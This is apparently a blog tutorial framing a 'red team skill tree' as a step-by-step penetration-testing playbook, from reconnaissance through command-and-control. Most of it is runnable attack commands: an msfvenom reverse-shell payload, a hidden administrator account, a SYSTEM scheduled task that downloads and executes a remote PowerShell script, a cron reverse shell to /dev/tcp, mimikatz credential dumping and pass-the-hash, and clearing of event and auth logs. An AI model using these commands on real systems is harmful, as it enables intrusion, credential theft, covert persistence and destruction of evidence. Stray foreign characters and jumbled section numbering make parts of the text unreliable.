Unlocking the Red Team Skill Tree: From Novice to Elite Penetration Tester – A Full Guide + Video

Listen to this Post

🐢▶️ Listen🚀

Introduction:

Red Teaming is often misunderstood as simply “poking the network” with automated scanners. In reality, it is a multi‑disciplinary craft that draws from a deep, interconnected skill tree—much like the one depicted in recent viral LinkedIn posts. This guide dissects that tree, translating each branch into actionable knowledge, commands, and configurations. Whether you’re an aspiring ethical hacker or a seasoned defender, understanding this hierarchy is the first step toward mastering offensive security.

Learning Objectives:

• Identify the core domains of the Red Team skill tree and how they interconnect.
• Execute practical commands and tool configurations for reconnaissance, exploitation, and post‑exploitation.
• Build a personal roadmap to transition from script‑kiddie to full‑scope Red Team operator.

You Should Know:

1. Reconnaissance & OSINT – The Roots of Every Operation
   Before launching a single packet, professional Red Teamers harvest publicly available information. This phase sets the stage for all后续 attacks.

Step‑by‑step guide:

• Use theHarvester to gather emails, subdomains, and hosts:

  theHarvester -d target.com -l 500 -b google,linkedin,bing
  

• Enumerate live hosts and services with Nmap:

  nmap -sV -sC -p- -T4 target.com -oN initial_scan.txt
  

• For passive reconnaissance, query Shodan via CLI:

  shodan search hostname:target.com --fields ip_str,port,org
  

• Automate domain reconnaissance with Amass:

  amass enum -d target.com -o amass_enum.txt
  

What this does: It builds a target profile—identifying employees, technologies, and exposed assets—without ever touching the target’s infrastructure directly.

1. Initial Access & Exploitation – Climbing the Trunk
   With a target map, the next step is to breach the perimeter. This involves weaponizing vulnerabilities or crafting social‑engineering payloads.

Step‑by‑step guide:

• Generate a staged reverse shell payload with msfvenom (Windows):

  msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 -f exe -o shell.exe
  

• Set up a listener in Metasploit:

  use exploit/multi/handler
  set payload windows/x64/meterpreter/reverse_tcp
  set LHOST 10.0.0.5
  set LPORT 4444
  exploit
  

• For web app breaches, test for SQL injection using sqlmap:

  sqlmap -u "http://target.com/page?id=1" --cookie="session=abc" --dbs
  

• Leverage known exploits via SearchSploit:

  searchsploit apache 2.4.49  Example CVE lookup
  

What this does: It demonstrates how a single vulnerability can provide a foothold, transforming a target list into a compromised asset.

3. Privilege Escalation – Reaching the High Branches

Once inside, the goal is to gain higher privileges—often the difference between a user shell and full domain admin.

Step‑by‑step guide (Linux):

• Run LinPEAS to automatically spot misconfigurations:

  wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
  chmod +x linpeas.sh
  ./linpeas.sh > linpeas_output.txt
  

• Manually check for sudo rights:

  sudo -l
  

• Enumerate kernel version for known exploits:

  uname -a
  searchsploit linux kernel 5.4
  

Step‑by‑step guide (Windows):

• Run WinPEAS:

  winpeas.exe > winpeas_output.txt
  

• Check always‑install‑elevated registry keys:

  reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
  reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
  

• Dump stored credentials with mimikatz:

  mimikatz  privilege::debug
  mimikatz  sekurlsa::logonpasswords
  

What this does: These techniques elevate access, allowing movement from a limited user to SYSTEM or root—critical for full network compromise.

4. Persistence – Ensuring You Don’t Fall Off

After gaining elevated access, Red Teamers install backdoors to maintain a foothold even if the initial vector is patched.

Step‑by‑step guide:

• Create a hidden local user (Windows):

  net user redteam Passw0rd! /add
  net localgroup administrators redteam /add
  reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v redteam /t REG_DWORD /d 0 /f
  

• Install a persistent reverse shell via scheduled task (Windows):

  schtasks /create /tn "Updater" /tr "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX (New-Object Net.WebClient).DownloadString(''http://10.0.0.5/rev.ps1'')'" /sc onlogon /ru SYSTEM
  

• For Linux, add a cron job:

  echo "     root bash -i >& /dev/tcp/10.0.0.5/8080 0>&1" >> /etc/crontab
  

What this does: Persistence ensures the Red Team can return even after reboots or password changes, mimicking real advanced persistent threats (APTs).

5. Lateral Movement – Spreading Through the Tree

Rarely does a single machine hold the crown jewels. Lateral movement propagates access across the network.

Step‑by‑step guide:

• Use PsExec from Impacket or Sysinternals:

  impacket-psexec domain/username:password@target_ip cmd.exe
  

• Leverage WMI for remote command execution (Windows):

  wmic /node:target_ip /user:domain\user /password:pass process call create "cmd.exe /c whoami > C:\temp\out.txt"
  

• Pass‑the‑hash with Mimikatz:

  mimikatz  sekurlsa::pth /user:admin /domain:target /ntlm:NTLM_HASH /run:cmd.exe
  

• For Linux environments, use SSH key theft and ssh‑copy‑id to other hosts:

  ssh-copy-id -i ~/.ssh/stolen_key user@target_ip
  

What this does: It demonstrates how a single compromised credential can cascade into complete domain takeover.

1. Command & Control (C2) – The Brain of the Operation
   Red Teams use C2 frameworks to manage compromised hosts covertly.

Step‑by‑step guide (using Mythic):

• Install Mythic on a VPS:

  git clone https://github.com/its-a-feature/Mythic
  cd Mythic
  sudo ./install_docker_ubuntu.sh
  sudo make
  

• Deploy an Apollo agent (Windows):
• From the Mythic UI, create a payload selecting the Apollo agent and HTTP profile.
• Download the generated executable and run it on the target.
• Interact with the agent:

  In Mythic, list callbacks and issue commands like:
  shell whoami
  download C:\Users\Public\secret.txt
  

What this does: C2 platforms provide centralized control, encrypted communications, and module loading—mirroring real‑world adversary infrastructure.

7. Evasion & Anti‑Forensics – Covering Your Tracks

To avoid detection, Red Teamers must erase evidence and blend into normal traffic.

Step‑by‑step guide:

• Clear Windows event logs:

  wevtutil cl System
  wevtutil cl Security
  wevtutil cl Application
  

• On Linux, remove bash history and log entries:

  history -c
  shred -zu ~/.bash_history
  > /var/log/auth.log  requires root
  

• Use Timestomp to alter file MAC times (Metasploit meterpreter):

  meterpreter > timestomp -v C:\target.exe
  meterpreter > timestomp C:\target.exe -f C:\Windows\System32\kernel32.dll
  

• Obfuscate PowerShell scripts with Invoke-Obfuscation:

  Import-Module ./Invoke-Obfuscation.psd1
  Invoke-Obfuscation -ScriptBlock 'Get-Process' -Command 'Encoding' -Quiet
  

What this does: These actions delay incident response, giving the Red Team more time to achieve objectives before being expelled.

What Undercode Say:

• Red Teaming is a hierarchy, not a checklist. Each branch of the skill tree builds on the previous one; skipping reconnaissance leads to blind exploitation, and ignoring persistence renders your access temporary.
• Automation accelerates, but understanding replaces. Tools like LinPEAS or Metasploit are force multipliers—but without manual knowledge of what they check, you cannot adapt to unique environments or evade modern EDR.
• The tree keeps growing. As cloud, AI, and DevOps reshape infrastructures, Red Teamers must continuously graft new branches—container escapes, serverless exploitation, and AI‑driven phishing—onto their skill tree.

Prediction:

Within the next three years, Red Team skill trees will bifurcate into “classical” (on‑prem, Windows/Linux) and “cloud‑native” (Kubernetes, serverless, CI/CD pipelines) domains. AI‑powered agents will autonomously perform low‑level reconnaissance, forcing human operators to focus on strategic deception and out‑thinking AI‑driven defenses. The winners will be those who treat their skill tree as a living organism—constantly pruning, grafting, and growing.

▶️ Related Video (76% Match):

🎯Let’s Practice For Free:

IT/Security Reporter URL:

Reported By: Jmetayer Geek – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky